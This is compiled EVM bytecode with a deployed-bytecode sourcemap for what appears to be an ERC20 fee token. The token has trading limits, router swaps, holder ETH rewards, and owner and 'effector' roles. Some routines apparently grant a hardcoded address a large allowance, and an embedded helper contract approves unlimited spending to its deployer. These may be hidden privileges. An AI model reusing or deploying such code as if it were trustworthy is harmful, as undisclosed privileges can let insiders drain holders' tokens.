1600160a01b0385166000908152600c602052604090205460ff1680620020bb57506001600160a01b0384166000908152600c602052604090205460ff165b80620020c5575082155b15620020de57620020d88585856200245d565b620022e3565b600080620020fa876005546001600160a01b0390811691161490565b156200218f57600b54600110620021545760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b6200216086866200276a565b6200216d878787620027df565b156200217b575050620022e3565b62002187878662002887565b9150620022a7565b6005546001600160a01b038088169116036200228857600b5460011115620021fa5760405162461bcd60e51b815260206004820152601c60248201527f706c656173652077616974696e6720666f72206c697175696469747900000000604482015260640162001144565b846200221b886001600160a01b031660009081526020819052604090205490565b0362002231576200222e606586620040b7565b94505b6200223b620028b7565b156200224a5750600162002277565b620022558562002b6c565b602d541562002268576200226862002bdb565b62002274878662002c29565b91505b6200228287620022ea565b620022a7565b62002294868662002c3e565b602d5415620022a757620022a762002bdb565b620022bf8787620022b98589620040b7565b62002d1d565b6000602954118015620022d0575080155b15620022e057620022e062002df4565b50505b5050505050565b6001600160a01b0381163b15620022fe5750565b6001600160a01b03811660009081526013602052604090205460ff1615620023235750565b6001600160a01b03811660009081526012602052604090205460ff16620016fb576001600160a01b03166000818152601260205260408120805460ff191660019081179091556011805491820181559091527f31ecc21a745e3968a04e9570e4425bc18fa8019c68028196b546d1669c200c680180546001600160a01b0319169091179055565b620012f55b6009546001600160a01b03163314620012f55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162001144565b600980546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b03831660009081526020819052604090205481811015620024d75760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162001144565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600880546001600160a01b0319166001600160a01b038516179055604080516002808252606082018352600092602083019080368337019050509050308160008151811062002591576200259162003edc565b60200260200101906001600160a01b031690816001600160a01b0316815250508381600181518110620025c857620025c862003edc565b6001600160a01b039092166020928302919091018201528151620025f3916007919084019062003899565b5060008281526001602081815260408084206fd9447efacd5f9ef847fa881df8e439d080865292528084206006420a90559155600854905163a9059cbb60e01b81526001600160a01b0361100096909601868116600483015260248201939093529194169063a9059cbb906044016020604051808303816000875af115801562002681573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022e3919062004054565b6001600160a01b038216620026ff5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162001144565b806002600082825462002713919062003f24565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b600d5460ff1615620011ca57600e5415620027d357600e54811115620027d35760405162461bcd60e51b815260206004820152601b60248201527f65786365656473206f662062757920616d6f756e74204c696d69740000000000604482015260640162001144565b620011ca828262002c3e565b600060305460001480620027f35750603154155b156200280257506000620010cf565b603054600b5462002814919062003f24565b4310156200287d576000601d5460315484620028319190620040cd565b6200283d919062004094565b602f54909150620028659086906001600160a01b03166200285f8487620040b7565b6200245d565b620028728585836200245d565b6001915050620010cf565b5060009392505050565b6000601d54602b54836200289c9190620040cd565b620028a8919062004094565b90506200106d8330836200245d565b600080600560009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200290e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002934919062004074565b90506000600560009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200298c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620029b2919062004074565b9050600080600560009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801562002a0b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002a31919062004104565b506005546040516370a0823160e01b81526001600160a01b0391821660048201526001600160701b0393841695509190921692506000918616906370a0823190602401602060405180830381865afa15801562002a92573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002ab8919062003f3a565b6005546040516370a0823160e01b81526001600160a01b039182166004820152919250600091908616906370a0823190602401602060405180830381865afa15801562002b09573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002b2f919062003f3a565b9050306001600160a01b0387160362002b5d576103e862002b518483620040b7565b11965050505050505090565b6103e862002b518584620040b7565b600d5460ff16801562002b8157506000600f54115b15620016fb57600f54811115620016fb5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f662073656c6c20616d6f756e74204c696d697400000000604482015260640162001144565b603354600160a01b900460ff161562002bf057565b30600090815260208190526040902054602e548110620016fb576000601e548262002c1c919062004094565b9050620011ca816200304b565b6000601d54602c54836200289c9190620040cd565b600d5460ff1615620011ca5760105415620011ca576010546040516370a0823160e01b81526001600160a01b038416600482015230906370a0823190602401602060405180830381865afa15801562002c9b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002cc1919062003f3a565b62002ccd908362003f24565b1115620011ca5760405162461bcd60e51b815260206004820152601c60248201527f65786365656473206f6620686f6c6420616d6f756e74204c696d697400000000604482015260640162001144565b6001600160a01b03831662002d835760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162001144565b6001600160a01b03821662002de75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162001144565b6200134b8383836200245d565b43601854601b5462002e07919062003f24565b111562002e1057565b601754479081101562002e205750565b601454604080516318160ddd60e01b815290516000926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa15801562002e6b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002e91919062003f3a565b601154909150600090819081908180805a90505b6019548310801562002eb657508382105b156200303c5783601a541062002ed1576000601a556200303c565b6011601a548154811062002ee95762002ee962003edc565b60009182526020808320909101546001600160a01b0316808352601390915260409091205490975060ff1662002ff1576014546040516370a0823160e01b81526001600160a01b038981166004830152909116906370a0823190602401602060405180830381865afa15801562002f64573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002f8a919062003f3a565b9550601654861062002ff1578762002fa3878b620040cd565b62002faf919062004094565b9450841562002ff1576040516001600160a01b0388169086156108fc029087906000818181858888f1935050505015801562002fef573d6000803e3d6000fd5b505b5a62002ffe9082620040b7565b6200300a908462003f24565b92505a601a80549192506000620030218362003f08565b91905055508180620030339062003f08565b92505062002ea5565b505043601b5550505050505050565b6033805460ff60a01b1916600160a01b179055602a54600090156200309857601d54602a546200307c9084620040cd565b62003088919062004094565b905062003098306001836200245d565b60285460009015620030e557601d54602854620030b69085620040cd565b620030c2919062004094565b603254603354919250620030e59183916001600160a01b039081169116620033ba565b600081620030f48486620040b7565b620031009190620040b7565b9050600060275411806200311657506000602954115b8015620031235750600081115b15620033a757603354620031429082906001600160a01b031662003734565b6008546033546040516370a0823160e01b81526001600160a01b03918216600482015260009291909116906370a0823190602401602060405180830381865afa15801562003194573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620031ba919062003f3a565b905060008060275411156200328157602954602754620031db919062003f24565b602754620031ea9084620040cd565b620031f6919062004094565b6008546033546032546040516323b872dd60e01b81526001600160a01b03928316600482015290821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af115801562003259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200327f919062004054565b505b80821115620033a4576008546033546001600160a01b03918216916323b872dd911630620032b08587620040b7565b6040516001600160e01b031960e086901b1681526001600160a01b03938416600482015292909116602483015260448201526064016020604051808303816000875af115801562003305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200332b919062004054565b506008546040516370a0823160e01b8152306004820152620033a4916001600160a01b0316906370a0823190602401602060405180830381865afa15801562003378573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200339e919062003f3a565b620037a0565b50505b50506033805460ff60a01b191690555050565b6000620033c960028562004094565b905060006007600181548110620033e457620033e462003edc565b60009182526020822001546040516370a0823160e01b81526001600160a01b038681166004830152909116925082906370a0823190602401602060405180830381865afa1580156200343a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003460919062003f3a565b600654604051635c11d79560e01b81529192506001600160a01b031690635c11d795906200349d9086906000906007908a9042906004016200414f565b600060405180830381600087803b158015620034b857600080fd5b505af1158015620034cd573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b03878116600483015260009350851691506370a0823190602401602060405180830381865afa1580156200351b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062003541919062003f3a565b90506000620035518383620040b7565b6040516323b872dd60e01b81526001600160a01b03888116600483015230602483015260448201839052919250908516906323b872dd906064016020604051808303816000875af1158015620035ab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620035d1919062004054565b50600081118015620035ee57506000620035ec868a620040b7565b115b156200372a57600654600780546001600160a01b039092169163e8e33700919060009062003620576200362062003edc565b600091825260209091200154600780546001600160a01b0390921691600190811062003650576200365062003edc565b6000918252602090912001546001600160a01b031662003671898d620040b7565b856000808e6200368342600962003f24565b60405160e08a901b6001600160e01b03191681526001600160a01b039889166004820152968816602488015260448701959095526064860193909352608485019190915260a484015290921660c482015260e4810191909152610104016060604051808303816000875af115801562003700573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200372691906200418d565b5050505b5050505050505050565b600654604051635c11d79560e01b81526001600160a01b0390911690635c11d7959062003770908590600090600790879042906004016200414f565b600060405180830381600087803b1580156200378b57600080fd5b505af115801562001c80573d6000803e3d6000fd5b600854604051602481018390526000916001600160a01b03169060440160408051601f198184030181529181526020820180516001600160e01b0316632e1a7d4d60e01b17905251620037f49190620041bc565b6000604051808303816000865af19150503d806000811462003833576040519150601f19603f3d011682016040523d82523d6000602084013e62003838565b606091505b5050905080620011ca5760405162461bcd60e51b815260206004820152601960248201527f5769746864726177616c206f662057455448206661696c656400000000000000604482015260640162001144565b61014780620041db83390190565b828054828255906000526020600020908101928215620038f1579160200282015b82811115620038f157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190620038ba565b50620038ff92915062003903565b5090565b5b80821115620038ff576000815560010162003904565b60005b83811015620039375781810151838201526020016200391d565b50506000910152565b6020815260008251806020840152620039618160408501602087016200391a565b601f01601f19169190910160400192915050565b6001600160a01b0381168114620016fb57600080fd5b600080604083850312156200399f57600080fd5b8235620039ac8162003975565b946020939093013593505050565b600060208284031215620039cd57600080fd5b5035919050565b8015158114620016fb57600080fd5b60008060008060808587031215620039fa57600080fd5b843562003a0781620039d4565b966020860135965060408601359560600135945092505050565b60008060006060848603121562003a3757600080fd5b833562003a448162003975565b9250602084013562003a568162003975565b929592945050506040919091013590565b60008060006060848603121562003a7d57600080fd5b8335925060208401359150604084013562003a988162003975565b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171562003ae55762003ae562003aa3565b604052919050565b600067ffffffffffffffff82111562003b0a5762003b0a62003aa3565b5060051b60200190565b600082601f83011262003b2657600080fd5b8135602062003b3f62003b398362003aed565b62003ab9565b82815260059290921b8401810191818101908684111562003b5f57600080fd5b8286015b8481101562003b8757803562003b798162003975565b835291830191830162003b63565b509695505050505050565b60006020828403121562003ba557600080fd5b813567ffffffffffffffff81111562003bbd57600080fd5b62003bcb8482850162003b14565b949350505050565b60006020828403121562003be657600080fd5b8135620010cf8162003975565b6000806040838503121562003c0757600080fd5b50508035926020909101359150565b6020808252825182820181905260009190848201906040850190845b8181101562003c595783516001600160a01b03168352928401929184019160010162003c32565b50909695505050505050565b6000806040838503121562003c7957600080fd5b823567ffffffffffffffff81111562003c9157600080fd5b62003c9f8582860162003b14565b925050602083013562003cb281620039d4565b809150509250929050565b6000806040838503121562003cd157600080fd5b823562003cde8162003975565b9150602083013562003cb281620039d4565b6000806040838503121562003d0457600080fd5b823562003d118162003975565b9150602083013562003cb28162003975565b6000806000806080858703121562003d3a57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121562003d6a57600080fd5b82359150602083013567ffffffffffffffff81111562003d8957600080fd5b62003d978582860162003b14565b9150509250929050565b6000806040838503121562003db557600080fd5b823567ffffffffffffffff8082111562003dce57600080fd5b818501915085601f83011262003de357600080fd5b8135602062003df662003b398362003aed565b82815260059290921b8401810191818101908984111562003e1657600080fd5b948201945b8386101562003e365785358252948201949082019062003e1b565b9650508601359250508082111562003e4d57600080fd5b5062003d978582860162003b14565b600181811c9082168062003e7157607f821691505b60208210810362003e9257634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526024908201527f4e6f4566666563743a2063616c6c6572206973206e6f7420746865206566666560408201526331ba37b960e11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162003f1d5762003f1d62003ef2565b5060010190565b808201808211156200106d576200106d62003ef2565b60006020828403121562003f4d57600080fd5b5051919050565b6000815480845260208085019450836000528060002060005b8381101562003f945781546001600160a01b03168752958201956001918201910162003f6d565b509495945050505050565b82815260406020820152600062003bcb604083018462003f54565b6000602080838503121562003fce57600080fd5b825167ffffffffffffffff81111562003fe657600080fd5b8301601f8101851362003ff857600080fd5b80516200400962003b398262003aed565b81815260059190911b820183019083810190878311156200402957600080fd5b928401925b8284101562004049578351825292840192908401906200402e565b979650505050505050565b6000602082840312156200406757600080fd5b8151620010cf81620039d4565b6000602082840312156200408757600080fd5b8151620010cf8162003975565b600082620040b257634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156200106d576200106d62003ef2565b80820281158282048414176200106d576200106d62003ef2565b80516001600160701b0381168114620040ff57600080fd5b919050565b6000806000606084860312156200411a57600080fd5b6200412584620040e7565b92506200413560208501620040e7565b9150604084015163ffffffff8116811462003a9857600080fd5b85815284602082015260a0604082015260006200417060a083018662003f54565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215620041a357600080fd5b8351925060208401519150604084015190509250925092565b60008251620041d08184602087016200391a565b919091019291505056fe608060405234801561001057600080fd5b5060405161014738038061014783398101604081905261002f916100a8565b60405163095ea7b360e01b815233600482015260001960248201526001600160a01b0382169063095ea7b3906044016020604051808303816000875af115801561007d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100a191906100d8565b50506100fa565b6000602082840312156100ba57600080fd5b81516001600160a01b03811681146100d157600080fd5b9392505050565b6000602082840312156100ea57600080fd5b815180151581146100d157600080fd5b603f806101086000396000f3fe6080604052600080fdfea26469706673582212206fb6c0f1d0ff9b4e60085be31e6075e14bb6c76088b63654de3891856dd3e47264736f6c63430008110033a26469706673582212207c75867144f2a9adc6bfe74373fdda65aa0c7bf4ec9b4d23cd4dcb1861fc158f64736f6c63430008110033

Deployed Bytecode Sourcemap

27036:1609:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2997:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3785:167;;;;;;;;;;-1:-1:-1;3785:167:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;3785:167:0;1126:187:1;14547:35:0;;;;;;;;;;;;;;;;;;;1464:25:1;;;1452:2;1437:18;14547:35:0;1318:177:1;17505:104:0;;;;;;;;;;-1:-1:-1;17505:104:0;;;;;:::i;:::-;;:::i;:::-;;3264:92;;;;;;;;;;-1:-1:-1;3342:12:0;;3264:92;;19529:33;;;;;;;;;;-1:-1:-1;19529:33:0;;;;-1:-1:-1;;;;;19529:33:0;;;;;;-1:-1:-1;;;;;1870:32:1;;;1852:51;;1840:2;1825:18;19529:33:0;1685:224:1;13327:218:0;;;;;;;;;;-1:-1:-1;13327:218:0;;;;;:::i;:::-;;:::i;3958:::-;;;;;;;;;;-1:-1:-1;3958:218:0;;;;;:::i;:::-;;:::i;18894:30::-;;;;;;;;;;;;;;;;14627:27;;;;;;;;;;;;;;;;14277:24;;;;;;;;;;-1:-1:-1;14277:24:0;;;;;:::i;:::-;;:::i;19075:30::-;;;;;;;;;;;;;;;;14661:34;;;;;;;;;;;;;;;;14462;;;;;;;;;;;;;;;;13751:74;;;;;;;;;;-1:-1:-1;13808:10:0;;13822:1;-1:-1:-1;13808:15:0;13751:74;;18826:24;;;;;;;;;;;;;;;;19445:17;;;;;;;;;;;;;;;;13674:71;;;;;;;;;;-1:-1:-1;13729:10:0;;13742:1;-1:-1:-1;13674:71:0;;3181:77;;;;;;;;;;-1:-1:-1;3181:77:0;;3254:2;3299:36:1;;3287:2;3272:18;3181:77:0;3157:184:1;26482:138:0;;;;;;;;;;-1:-1:-1;26482:138:0;;;;;:::i;:::-;;:::i;17810:139::-;;;;;;;;;;-1:-1:-1;17810:139:0;;;;;:::i;:::-;;:::i;19287:24::-;;;;;;;;;;;;;;;;4182:204;;;;;;;;;;-1:-1:-1;4182:204:0;;;;;:::i;:::-;;:::i;19037:31::-;;;;;;;;;;;;;;;;18475:93;;;;;;;;;;-1:-1:-1;18475:93:0;;;;;:::i;:::-;-1:-1:-1;;;;;18548:12:0;18524:4;18548:12;;;:6;:12;;;;;;;;;18475:93;19469:17;;;;;;;;;;;;;;;;7202:20;;;;;;;;;;-1:-1:-1;7202:20:0;;;;-1:-1:-1;;;;;7202:20:0;;;17282:217;;;;;;;;;;-1:-1:-1;17282:217:0;;;;;:::i;:::-;;:::i;26397:79::-;;;;;;;;;;-1:-1:-1;26397:79:0;;;;;:::i;:::-;;:::i;19350:21::-;;;;;;;;;;;;;;;;17615:96;;;;;;;;;;-1:-1:-1;17615:96:0;;;;;:::i;:::-;;:::i;13831:86::-;;;;;;;;;;-1:-1:-1;13831:86:0;;;;;:::i;:::-;;:::i;16928:77::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;19182:30::-;;;;;;;;;;;;;;;;13148:84;;;;;;;;;;;;;:::i;18306:163::-;;;;;;;;;;-1:-1:-1;18306:163:0;;;;;:::i;:::-;;:::i;19493:29::-;;;;;;;;;;-1:-1:-1;19493:29:0;;;;-1:-1:-1;;;;;19493:29:0;;;3362:111;;;;;;;;;;-1:-1:-1;3362:111:0;;;;;:::i;:::-;-1:-1:-1;;;;;3453:18:0;3436:7;3453:18;;;;;;;;;;;;3362:111;11075:87;;;;;;;;;;;;;:::i;24681:493::-;;;;;;;;;;;;;:::i;13642:25::-;;;;;;;;;;;;;;;;10876:71;;;;;;;;;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;10876:71;;14503:37;;;;;;;;;;;;;;;;3087:88;;;;;;;;;;;;;:::i;11857:95::-;;;;;;;;;;-1:-1:-1;11857:95:0;;;;;:::i;:::-;;:::i;18209:91::-;;;;;;;;;;-1:-1:-1;18209:91:0;;;;;:::i;:::-;;:::i;26009:154::-;;;;;;;;;;-1:-1:-1;26009:154:0;;;;;:::i;:::-;;:::i;19318:25::-;;;;;;;;;;;;;;;;13238:83;;;;;;;;;;;;;:::i;7318:200::-;;;;;;;;;;-1:-1:-1;7318:200:0;;;;;:::i;:::-;;:::i;14407:23::-;;;;;;;;;;-1:-1:-1;14407:23:0;;;;-1:-1:-1;;;;;14407:23:0;;;4392:357;;;;;;;;;;-1:-1:-1;4392:357:0;;;;;:::i;:::-;;:::i;7113:19::-;;;;;;;;;;-1:-1:-1;7113:19:0;;;;-1:-1:-1;;;;;7113:19:0;;;3479:159;;;;;;;;;;-1:-1:-1;3479:159:0;;;;;:::i;:::-;;:::i;17717:87::-;;;;;;;;;;-1:-1:-1;17717:87:0;;;;;:::i;:::-;;:::i;17011:114::-;;;;;;;;;;-1:-1:-1;17011:114:0;;;;;:::i;:::-;;:::i;14098:79::-;;;;;;;;;;;;;:::i;19412:26::-;;;;;;;;;;-1:-1:-1;19412:26:0;;;;-1:-1:-1;;;;;19412:26:0;;;14589:31;;;;;;;;;;;;;;;;25505:297;;;;;;;;;;-1:-1:-1;25505:297:0;;;;;:::i;:::-;;:::i;19112:26::-;;;;;;;;;;;;;;;;18857:30;;;;;;;;;;;;;;;;26626:151;;;;;;;;;;-1:-1:-1;26626:151:0;;;;;:::i;:::-;;:::i;18931:29::-;;;;;;;;;;;;;;;;14437:18;;;;;;;;;;-1:-1:-1;14437:18:0;;;;-1:-1:-1;;;;;14437:18:0;;;26783:168;;;;;;;;;;-1:-1:-1;26783:168:0;;;;;:::i;:::-;;:::i;14006:86::-;;;;;;;;;;;;;:::i;14355:45::-;;;;;;;;;;-1:-1:-1;14355:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19378:27;;;;;;;;;;;;;;;;14308:40;;;;;;;;;;-1:-1:-1;14308:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19145:30;;;;;;;;;;;;;;;;18967:25;;;;;;;;;;;;;;;;3644:135;;;;;;;;;;-1:-1:-1;3644:135:0;;;;;:::i;:::-;;:::i;25869:134::-;;;;;;;;;;-1:-1:-1;25869:134:0;;;;;:::i;:::-;;:::i;18796:23::-;;;;;;;;;;;;;;;;11168:176;;;;;;;;;;-1:-1:-1;11168:176:0;;;;;:::i;:::-;;:::i;19219:29::-;;;;;;;;;;;;;;;;25215:284;;;;;;;;;;-1:-1:-1;25215:284:0;;;;;:::i;:::-;;:::i;13923:77::-;;;;;;;;;;;;;:::i;7139:21::-;;;;;;;;;;-1:-1:-1;7139:21:0;;;;-1:-1:-1;;;;;7139:21:0;;;19255:25;;;;;;;;;;;;;;;;18999:31;;;;;;;;;;;;;;;;11958:144;;;;;;;;;;-1:-1:-1;11958:144:0;;;;;:::i;:::-;;:::i;17131:145::-;;;;;;;;;;-1:-1:-1;17131:145:0;;;;;:::i;:::-;;:::i;2997:84::-;3051:13;3074:5;3067:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2997:84;:::o;3785:167::-;3868:4;2525:10;3905:32;2525:10;3921:7;3930:6;3905:8;:32::i;:::-;3946:4;3939:11;;;3785:167;;;;;:::o;17505:104::-;17559:20;:18;:20::i;:::-;17581;:26;17505:104::o;13327:218::-;13429:17;:15;:17::i;:::-;13448:9;:22;;-1:-1:-1;;13448:22:0;;;;;;;;;;;13472:9;:21;;;;13495:10;:23;13520:10;:23;13327:218::o;3958:::-;4055:4;2525:10;4094:38;4110:4;2525:10;4125:6;4094:15;:38::i;:::-;4134:27;4144:4;4150:2;4154:6;4134:9;:27::i;:::-;4170:4;4163:11;;;3958:218;;;;;;:::o;14277:24::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14277:24:0;;-1:-1:-1;14277:24:0;:::o;26482:138::-;11670:9;;-1:-1:-1;;;;;11670:9:0;2525:10;11670:25;;:52;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;2525:10;11699:23;11670:52;11662:101;;;;-1:-1:-1;;;11662:101:0;;;;;;;:::i;:::-;;;;;;;;;26572:2:::1;:8:::0;;;;26582:2:::1;:8:::0;26592:11:::1;:26:::0;;-1:-1:-1;;;;;;26592:26:0::1;-1:-1:-1::0;;;;;26592:26:0;;::::1;::::0;;;::::1;::::0;;26482:138::o;17810:139::-;17871:20;:18;:20::i;:::-;17898:6;17893:55;17909:4;:11;17907:1;:13;17893:55;;;17927:19;17938:4;17943:1;17938:7;;;;;;;;:::i;:::-;;;;;;;17927:10;:19::i;:::-;17921:3;;;;:::i;:::-;;;;17893:55;;;;17810:139;:::o;4182:204::-;4270:4;2525:10;4307:64;2525:10;4323:7;4360:10;4332:25;2525:10;4323:7;4332:9;:25::i;:::-;:38;;;;:::i;:::-;4307:8;:64::i;17282:217::-;17383:20;:18;:20::i;:::-;17405:19;:42;;;;17449:22;:48;17282:217::o;26397:79::-;11670:9;;-1:-1:-1;;;;;11670:9:0;2525:10;11670:25;;:52;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;2525:10;11699:23;11670:52;11662:101;;;;-1:-1:-1;;;11662:101:0;;;;;;;:::i;:::-;26456:12:::1;:18:::0;26397:79::o;17615:96::-;17665:20;:18;:20::i;:::-;17687:16;:22;17615:96::o;13831:86::-;13873:26;:24;:26::i;:::-;13901:10;:14;13831:86::o;16928:77::-;16970:16;16996:7;16989:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16989:14:0;;;;;;;;;;;;;;;;;;;;;;16928:77;:::o;13148:84::-;13179:17;:15;:17::i;:::-;13202:9;;;;13198:32;;;13213:9;:17;;-1:-1:-1;;13213:17:0;;;13198:32;13148:84::o;18306:163::-;10852:13;:11;:13::i;:::-;18388:6:::1;18383:79;18399:4;:11;18397:1;:13;18383:79;;;18431:19;18439:4;18444:1;18439:7;;;;;;;;:::i;:::-;;;;;;;18448:1;18431:7;:19::i;:::-;18411:3:::0;::::1;::::0;::::1;:::i;:::-;;;;18383:79;;;;18306:163:::0;;:::o;11075:87::-;10852:13;:11;:13::i;:::-;11130:30:::1;11157:1;11130:18;:30::i;24681:493::-:0;24760:16;;24742:15;;:34;;;;:::i;:::-;24724:15;:52;24823:16;;24805:15;;:34;;24823:16;24805:34;:::i;:::-;24787:15;:52;24884:15;;24867:14;;:32;;24884:15;24867:32;:::i;:::-;24850:14;:49;24936:11;;24923:10;;:24;;24936:11;24923:24;:::i;:::-;24910:10;:37;25023:10;;25006:14;;24988:15;;24970;;:33;;24988:15;24970:33;:::i;:::-;:50;;;;:::i;:::-;:63;;;;:::i;:::-;24958:9;:75;25113:11;;25095:15;;25076:16;;25057;;:35;;25076:16;25057:35;:::i;:::-;:53;;;;:::i;:::-;:67;;;;:::i;:::-;25044:10;:80;;;25144:9;;:22;;25044:80;25144:22;:::i;:::-;25135:6;:31;24681:493::o;3087:88::-;3143:13;3166:7;3159:14;;;;;:::i;11857:95::-;11908:20;:18;:20::i;:::-;-1:-1:-1;;;;;11930:16:0;;;;;;;;:9;:16;;;;;:20;;-1:-1:-1;;11930:20:0;;;;;;;;;;11857:95::o;18209:91::-;10852:13;:11;:13::i;:::-;-1:-1:-1;;;;;18276:12:0;;;::::1;;::::0;;;:6:::1;:12;::::0;;;;:16;;-1:-1:-1;;18276:16:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18209:91::o;26009:154::-;11670:9;;-1:-1:-1;;;;;11670:9:0;2525:10;11670:25;;:52;;-1:-1:-1;10939:6:0;;-1:-1:-1;;;;;10939:6:0;2525:10;11699:23;11670:52;11662:101;;;;-1:-1:-1;;;11662:101:0;;;;;;;:::i;:::-;26129:31:::1;::::0;-1:-1:-1;;;26129:31:0;;26154:4:::1;26129:31;::::0;::::1;1852:51:1::0;26093:68:0::1;::::0;26109:6;;26117:10;;-1:-1:-1;;;;;26129:16:0;::::1;::::0;::::1;::::0;1825:18:1;;26129:31:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;13238:83::-:0;13268:17;:15;:17::i;:::-;13292:9;;;;13287:32;;13303:9;:16;;-1:-1:-1;;13303:16:0;13315:4;13303:16;;;13238:83::o;7318:200::-;7418:6;;:45;;-1:-1:-1;;;7418:45:0;;7384:7;;;;-1:-1:-1;;;;;7418:6:0;;;;:20;;:45;;7439:12;;7453:9;;7418:45;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;7418:45:0;;;;;;;;;;;;:::i;:::-;7394:69;;7486:1;7469:7;:14;:18;7465:41;;;7496:7;7504:1;7496:10;;;;;;;;:::i;:::-;;;;;;;7489:17;;;7318:200;;;:::o;7465:41::-;-1:-1:-1;7515:1:0;;7318:200;-1:-1:-1;;7318:200:0:o;4392:357::-;4485:4;2525:10;4485:4;4549:25;2525:10;4566:7;4549:9;:25::i;:::-;4522:52;;4604:15;4584:16;:35;;4576:85;;;;-1:-1:-1;;;4576:85:0;;14584:2:1;4576:85:0;;;14566:21:1;14623:2;14603:18;;;14596:30;14662:34;14642:18;;;14635:62;-1:-1:-1;;;14713:18:1;;;14706:35;14758:19;;4576:85:0;14382:401:1;